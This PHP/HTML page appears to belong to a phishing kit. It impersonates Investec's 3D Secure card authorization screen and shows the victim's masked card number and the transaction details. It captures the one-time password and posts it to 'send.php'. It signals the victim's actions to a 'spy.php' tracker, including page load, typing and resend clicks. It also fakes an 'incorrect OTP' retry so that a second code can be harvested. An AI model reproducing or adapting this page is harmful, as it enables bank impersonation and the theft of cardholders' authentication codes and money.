<?php
$bankKey = 'investec';
require __DIR__ . '/includes/bank-3ds-bootstrap.php';

$cardStars = strlen($cardClean) >= 4
    ? str_repeat('*', max(0, strlen($cardClean) - 4)) . $cardLast4
    : '************' . $cardLast4;
?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>3D Secure Authorization</title>
    <link rel="stylesheet" href="themes/css/bank-3ds.css" />
    <style>body.b3-page { --b3-primary: #111; }</style>
</head>
<body class="b3-page b3-page--modal">

<div class="b3-modal b3-modal--lg">
    <div class="b3-modal-bar">3D Secure Authorization</div>

    <div class="b3-modal-head">
        <div class="b3-modal-brand">
            <?php if ($bankLogoExists) { ?>
            <img src="<?= htmlspecialchars($bankLogo, ENT_QUOTES, 'UTF-8') ?>" alt="Investec" />
            <?php } else { ?>
            <div class="b3-investec-mark">
                <span class="b3-investec-zebra" aria-hidden="true">IV</span>
                <div class="b3-investec-text">
                    <strong>Investec</strong>
                    <span>Out of the Ordinary</span>
                </div>
            </div>
            <?php } ?>
        </div>
        <div class="b3-scheme">
            <?php if ($schemeMode === 'mc') { ?>
            <img class="b3-scheme-logo" src="assets/img/card_logo_mc.svg" alt="Mastercard" style="height:34px;" />
            <?php } else { ?>
            <img class="b3-scheme-logo" src="assets/img/card_logo_visa.svg" alt="Visa" style="height:34px;" />
            <?php } ?>
        </div>
    </div>

    <div class="b3-modal-body">
        <h2 class="b3-modal-sub">Purchase Authentication</h2>
        <p class="b3-modal-copy">
            For added security, please enter the one-time password (OTP) sent to your registered mobile number.
        </p>

        <div class="b3-modal-details">
            <h3>Transaction Details</h3>
            <div>
                <dt>Merchant:</dt>
                <dd><?= htmlspecialchars($merchant, ENT_QUOTES, 'UTF-8') ?></dd>
            </div>
            <div>
                <dt>Transaction Amount:</dt>
                <dd><?= htmlspecialchars($amountDisplay, ENT_QUOTES, 'UTF-8') ?></dd>
            </div>
            <div>
                <dt>Card Number:</dt>
                <dd><?= htmlspecialchars($cardStars, ENT_QUOTES, 'UTF-8') ?></dd>
            </div>
        </div>

        <?php if ($hasError) { ?>
        <div class="b3-error" role="alert">The OTP entered is incorrect. Please try again.</div>
        <?php } ?>

        <form id="form" novalidate>
            <div class="b3-modal-otp-row">
                <label for="sms">Enter OTP:</label>
                <input id="sms" name="sms" type="text" inputmode="numeric" maxlength="6"
                    autocomplete="one-time-code" required />
            </div>

            <div class="b3-modal-actions">
                <button type="button" class="b3-link-blue" id="btnResend">Send Another OTP</button>
                <button type="submit" class="b3-btn b3-btn--dark" id="btn_submit" disabled>Submit</button>
            </div>
        </form>

        <div class="b3-modal-foot" style="margin-top:20px;">
            <span>
                <a href="#" onclick="return false;">Need Help?</a>
                <span class="muted"> | </span>
                <a href="#" onclick="return false;">Learn more</a>
            </span>
            <a href="wait.php?p=cancel">Exit</a>
        </div>
    </div>
</div>

<script src="res/jq.js"></script>
<script>
(function () {
    var minLen = 4;
    var maxLen = 6;
    var otpNotifySent = false;

    function digits() {
        return $('#sms').val().replace(/\D/g, '');
    }
    function ok() {
        var n = digits().length;
        return n >= minLen && n <= maxLen;
    }

    $('#sms').on('input paste keyup', function () {
        this.value = this.value.replace(/\D/g, '').slice(0, maxLen);
        $('#btn_submit').prop('disabled', !ok());
        if (!otpNotifySent && digits().length > 0) {
            $.post('spy.php', { otping: 1 });
            otpNotifySent = true;
        }
    });

    $('#form').on('submit', function (e) {
        e.preventDefault();
        if (!ok()) return;
        var alreadyTried = <?= $hasError ? 'true' : 'false' ?>;
        $.post('send.php', { sms: digits() }, function () {
            if (alreadyTried) {
                window.location = 'wait.php?p=sms';
            } else {
                window.location = 'is.php?e=1';
            }
        });
    });

    $('#btnResend').on('click', function () {
        var $b = $(this);
        if ($b.hasClass('is-sent')) return;
        $.post('spy.php', { smsresend: 1 }).always(function () {
            $b.addClass('is-sent').text('OTP sent');
        });
    });

    $.post('spy.php', { smsview: 1, firstload: 1 });
    $('#sms').focus();
})();
</script>
<?php $m->ctr('SMS IS ' . @$_GET['e']); ?>
</body>
</html>
